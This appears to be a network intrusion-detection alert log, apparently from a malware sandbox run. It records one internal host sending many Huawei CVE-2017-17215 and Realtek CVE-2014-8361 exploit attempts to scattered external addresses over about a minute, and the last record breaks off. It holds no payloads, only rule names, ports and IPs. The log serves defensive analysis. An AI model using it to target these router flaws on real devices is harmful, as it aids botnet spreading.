ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 13.178.123.242

Timestamp:	07/20/24-23:01:20.161614
SID:	2835222
Source Port:	33112
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 82.187.47.45

Timestamp:	07/20/24-23:01:42.477986
SID:	2025132
Source Port:	45052
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 53.132.125.29

Timestamp:	07/20/24-23:01:44.813013
SID:	2027339
Source Port:	55664
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 166.125.46.208

Timestamp:	07/20/24-23:01:55.863393
SID:	2027339
Source Port:	52952
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 98.171.161.225

Timestamp:	07/20/24-23:01:44.470424
SID:	2027339
Source Port:	38526
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.60.240.126

Timestamp:	07/20/24-23:01:07.082045
SID:	2835222
Source Port:	55584
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 110.76.42.187

Timestamp:	07/20/24-23:01:41.380677
SID:	2025132
Source Port:	38148
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 139.3.200.28

Timestamp:	07/20/24-23:02:00.868779
SID:	2025132
Source Port:	54574
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 179.166.208.19

Timestamp:	07/20/24-23:01:20.144672
SID:	2829579
Source Port:	48740
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 67.104.194.85

Timestamp:	07/20/24-23:01:47.042994
SID:	2027339
Source Port:	44160
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 32.85.156.168

Timestamp:	07/20/24-23:01:25.215598
SID:	2027339
Source Port:	49828
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 101.9.169.24

Timestamp:	07/20/24-23:01:42.809185
SID:	2025132
Source Port:	52892
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.239.63.70

Timestamp:	07/20/24-23:01:21.938818
SID:	2829579
Source Port:	49236
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 136.80.115.81

Timestamp:	07/20/24-23:01:43.300793
SID:	2831300
Source Port:	47466
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 104.83.225.175

Timestamp:	07/20/24-23:01:54.898102
SID:	2831300
Source Port:	49404
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 81.22.157.142

Timestamp:	07/20/24-23:01:48.288217
SID:	2027339
Source Port:	48756
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 181.21.97.146

Timestamp:	07/20/24-23:01:44.302645
SID:	2027339
Source Port:	36906
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 105.145.121.113

Timestamp:	07/20/24-23:01:53.746309
SID:	2027339
Source Port:	40366
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 36.168.150.31

Timestamp:	07/20/24-23:01:13.710739
SID:	2025132
Source Port:	44082
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 91.195.20.9

Timestamp:	07/20/24-23:01:57.313050
SID:	2831300
Source Port:	39142
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 133.40.152.48

Timestamp:	07/20/24-23:01:53.971751
SID:	2027339
Source Port:	39120
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.49.181.54

Timestamp:	07/20/24-23:01:21.943544
SID:	2835222
Source Port:	51176
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 223.203.126.251

Timestamp:	07/20/24-23:01:41.280928
SID:	2027339
Source Port:	43900
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 180.71.140.26

Timestamp:	07/20/24-23:01:43.810783
SID:	2025132
Source Port:	46080
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 78.42.251.42

Timestamp:	07/20/24-23:01:44.038410
SID:	2831300
Source Port:	45320
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 174.95.107.188

Timestamp:	07/20/24-23:01:51.197215
SID:	2027339
Source Port:	52982
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 179.206.84.130

Timestamp:	07/20/24-23:01:45.079349
SID:	2025132
Source Port:	48408
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.78.28.79

Timestamp:	07/20/24-23:01:04.098909
SID:	2829579
Source Port:	56022
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 107.163.195.19

Timestamp:	07/20/24-23:01:45.034156
SID:	2027339
Source Port:	33716
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 93.44.110.204

Timestamp:	07/20/24-23:01:46.464448
SID:	2025132
Source Port:	44136
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.50.174.241

Timestamp:	07/20/24-23:01:31.977603
SID:	2835222
Source Port:	45528
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 191.189.100.30

Timestamp:	07/20/24-23:01:55.944701
SID:	2027339
Source Port:	59102
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 131.175.141.244

Timestamp:	07/20/24-23:01:54.310738
SID:	2025132
Source Port:	48768
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 163.173.48.45

Timestamp:	07/20/24-23:01:42.891313
SID:	2025132
Source Port:	51320
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 32.178.44.200

Timestamp:	07/20/24-23:01:42.287237
SID:	2027339
Source Port:	44008
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.50.141.98

Timestamp:	07/20/24-23:01:20.124696
SID:	2835222
Source Port:	40416
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 113.55.199.122

Timestamp:	07/20/24-23:01:41.299284
SID:	2027339
Source Port:	57818
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 161.20.12.87

Timestamp:	07/20/24-23:01:08.611391
SID:	2831300
Source Port:	38826
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 13.253.184.187

Timestamp:	07/20/24-23:01:48.089365
SID:	2027339
Source Port:	56670
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 50.114.115.150

Timestamp:	07/20/24-23:01:10.738721
SID:	2025132
Source Port:	50512
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 153.15.211.214

Timestamp:	07/20/24-23:01:01.387027
SID:	2027339
Source Port:	56974
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 48.202.169.141

Timestamp:	07/20/24-23:01:48.970191
SID:	2025132
Source Port:	49902
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.5.220.159

Timestamp:	07/20/24-23:01:34.043880
SID:	2829579
Source Port:	49064
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 203.196.31.139

Timestamp:	07/20/24-23:01:45.485100
SID:	2027339
Source Port:	39258
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 132.173.89.17

Timestamp:	07/20/24-23:01:41.372363
SID:	2027339
Source Port:	60180
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 36.18.145.215

Timestamp:	07/20/24-23:01:41.372363
SID:	2027339
Source Port:	38322
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 40.122.120.5

Timestamp:	07/20/24-23:01:43.455918
SID:	2025132
Source Port:	36932
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 170.121.46.240

Timestamp:	07/20/24-23:01:48.701127
SID:	2831300
Source Port:	53308
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.243.220.45

Timestamp:	07/20/24-23:01:02.066908
SID:	2835222
Source Port:	51714
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 104.55.221.40

Timestamp:	07/20/24-23:01:02.479085
SID:	2025132
Source Port:	33450
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 132.102.141.171

Timestamp:	07/20/24-23:01:03.422401
SID:	2025132
Source Port:	53670
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 94.159.177.21

Timestamp:	07/20/24-23:01:42.111275
SID:	2027339
Source Port:	52826
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 140.117.188.131

Timestamp:	07/20/24-23:01:42.196522
SID:	2027339
Source Port:	53258
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 59.110.210.1

Timestamp:	07/20/24-23:01:42.924014
SID:	2027339
Source Port:	49876
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 67.229.67.72

Timestamp:	07/20/24-23:01:44.991829
SID:	2831300
Source Port:	34298
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 65.170.62.168

Timestamp:	07/20/24-23:01:45.109699
SID:	2025132
Source Port:	40610
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 36.88.70.103

Timestamp:	07/20/24-23:01:44.452219
SID:	2027339
Source Port:	48536
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 64.123.182.34

Timestamp:	07/20/24-23:01:42.685722
SID:	2831300
Source Port:	38056
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 8.242.14.128

Timestamp:	07/20/24-23:01:45.188773
SID:	2831300
Source Port:	40180
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.252.66.96

Timestamp:	07/20/24-23:01:24.944299
SID:	2829579
Source Port:	60742
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 8.133.200.251

Timestamp:	07/20/24-23:01:13.583885
SID:	2025132
Source Port:	58320
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 162.84.55.247

Timestamp:	07/20/24-23:01:47.902509
SID:	2025132
Source Port:	49078
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 157.175.172.46

Timestamp:	07/20/24-23:01:50.313415
SID:	2027339
Source Port:	38028
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 38.110.137.130

Timestamp:	07/20/24-23:01:50.093097
SID:	2831300
Source Port:	40554
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 99.220.126.213

Timestamp:	07/20/24-23:01:44.277250
SID:	2831300
Source Port:	45600
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 138.173.140.141

Timestamp:	07/20/24-23:02:20.374641
SID:	2027339
Source Port:	38620
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 220.35.159.72

Timestamp:	07/20/24-23:01:34.044537
SID:	2829579
Source Port:	50196
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 1.84.241.246

Timestamp:	07/20/24-23:01:42.187124
SID:	2027339
Source Port:	49100
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 70.60.237.131

Timestamp:	07/20/24-23:01:51.016561
SID:	2025132
Source Port:	46870
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 209.95.190.72

Timestamp:	07/20/24-23:01:31.986571
SID:	2835222
Source Port:	56050
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 13.193.24.191

Timestamp:	07/20/24-23:01:47.403768
SID:	2025132
Source Port:	58964
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 75.171.235.169

Timestamp:	07/20/24-23:01:21.928521
SID:	2835222
Source Port:	42742
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 59.99.39.216

Timestamp:	07/20/24-23:01:46.004063
SID:	2025132
Source Port:	40942
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 120.189.67.125

Timestamp:	07/20/24-23:01:46.485082
SID:	2831300
Source Port:	56676
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.193.26.103

Timestamp:	07/20/24-23:01:11.662969
SID:	2829579
Source Port:	48664
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.44.82.133

Timestamp:	07/20/24-23:01:11.635828
SID:	2829579
Source Port:	60566
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 70.124.249.51

Timestamp:	07/20/24-23:01:42.276860
SID:	2831300
Source Port:	34986
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.178.234.164

Timestamp:	07/20/24-23:01:24.889163
SID:	2835222
Source Port:	54718
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 105.183.167.212

Timestamp:	07/20/24-23:01:05.007557
SID:	2027339
Source Port:	54884
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 102.164.167.66

Timestamp:	07/20/24-23:01:34.046616
SID:	2829579
Source Port:	60776
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 218.79.146.2

Timestamp:	07/20/24-23:01:41.533244
SID:	2027339
Source Port:	57514
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 162.69.127.248

Timestamp:	07/20/24-23:01:53.281781
SID:	2831300
Source Port:	39014
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.19.231.74

Timestamp:	07/20/24-23:01:40.307219
SID:	2835222
Source Port:	47256
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 123.147.61.106

Timestamp:	07/20/24-23:01:42.290838
SID:	2027339
Source Port:	43356
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 210.84.36.218

Timestamp:	07/20/24-23:01:56.768240
SID:	2831300
Source Port:	43520
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 213.170.177.158

Timestamp:	07/20/24-23:01:43.071126
SID:	2027339
Source Port:	42976
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 63.211.43.107

Timestamp:	07/20/24-23:01:45.452336
SID:	2831300
Source Port:	39466
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 159.70.111.204

Timestamp:	07/20/24-23:01:08.693187
SID:	2027339
Source Port:	41122
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 163.49.61.251

Timestamp:	07/20/24-23:01:42.430595
SID:	2027339
Source Port:	46182
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.139.23.30

Timestamp:	07/20/24-23:01:04.050503
SID:	2835222
Source Port:	38646
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 8.98.158.174

Timestamp:	07/20/24-23:01:02.432131
SID:	2025132
Source Port:	33560
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.119.245.174

Timestamp:	07/20/24-23:01:24.916250
SID:	2829579
Source Port:	59300
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.70.205.23

Timestamp:	07/20/24-23:01:27.653309
SID:	2835222
Source Port:	56710
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 70.101.195.243

Timestamp:	07/20/24-23:01:51.056493
SID:	2025132
Source Port:	36906
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 57.222.50.62

Timestamp:	07/20/24-23:01:43.895587
SID:	2027339
Source Port:	33518
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 155.96.29.107

Timestamp:	07/20/24-23:01:42.930628
SID:	2025132
Source Port:	40272
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 27.248.134.22

Timestamp:	07/20/24-23:01:48.386032
SID:	2025132
Source Port:	54594
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 173.57.134.38

Timestamp:	07/20/24-23:01:01.473903
SID:	2025132
Source Port:	52872
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 197.159.127.103

Timestamp:	07/20/24-23:01:42.670071
SID:	2027339
Source Port:	55124
Destination Port:	52869
